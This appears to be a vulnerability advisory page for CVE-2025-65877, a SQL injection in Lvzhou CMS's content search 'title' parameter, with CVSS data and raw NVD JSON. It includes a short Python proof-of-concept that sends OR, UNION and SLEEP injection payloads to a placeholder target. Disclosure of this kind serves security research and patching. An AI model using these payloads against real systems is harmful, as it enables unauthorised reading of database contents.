Security Vulnerability Report
中文
CVE-2025-65877 CVSS 7.5 HIGH

CVE-2025-65877

Published: 2025-12-02 20:15:53
Last Modified: 2025-12-19 18:20:32

Description

Lvzhou CMS before commit c4ea0eb9cab5f6739b2c87e77d9ef304017ed615 (2025-09-22) is vulnerable to SQL injection via the 'title' parameter in com.wanli.lvzhoucms.service.ContentService#findPage. The parameter is concatenated directly into a dynamic SQL query without sanitization or prepared statements, enabling attackers to read sensitive data from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wanliofficial:lvzhou_cms:*:*:*:*:*:*:*:* - VULNERABLE
Lvzhou CMS < c4ea0eb9cab5f6739b2c87e77d9ef304017ed615 (2025-09-22)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-65877 Lvzhou CMS SQL Injection PoC # Target: Lvzhou CMS < commit c4ea0eb9cab5f6739b2c87e77d9ef304017ed615 # Vulnerability: SQL Injection in ContentService#findPage via 'title' parameter target_url = "http://target.com/api/content/findPage" # Basic SQL injection test - trigger error or time-based blind injection payloads = [ "test' OR '1'='1", "test' UNION SELECT NULL--", "test' AND SLEEP(5)--" ] for payload in payloads: params = {"title": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") print("---") except requests.exceptions.RequestException as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65877", "sourceIdentifier": "[email protected]", "published": "2025-12-02T20:15:53.410", "lastModified": "2025-12-19T18:20:31.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lvzhou CMS before commit c4ea0eb9cab5f6739b2c87e77d9ef304017ed615 (2025-09-22) is vulnerable to SQL injection via the 'title' parameter in com.wanli.lvzhoucms.service.ContentService#findPage. The parameter is concatenated directly into a dynamic SQL query without sanitization or prepared statements, enabling attackers to read sensitive data from the database."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wanliofficial:lvzhou_cms:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-09-22", "matchCriteriaId": "3654038F-4203-4D10-9204-1950E1F38034"}]}]}], "references": [{"url": "https://github.com/W000i/vuln/issues/1", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Issue Tracking"]}]}}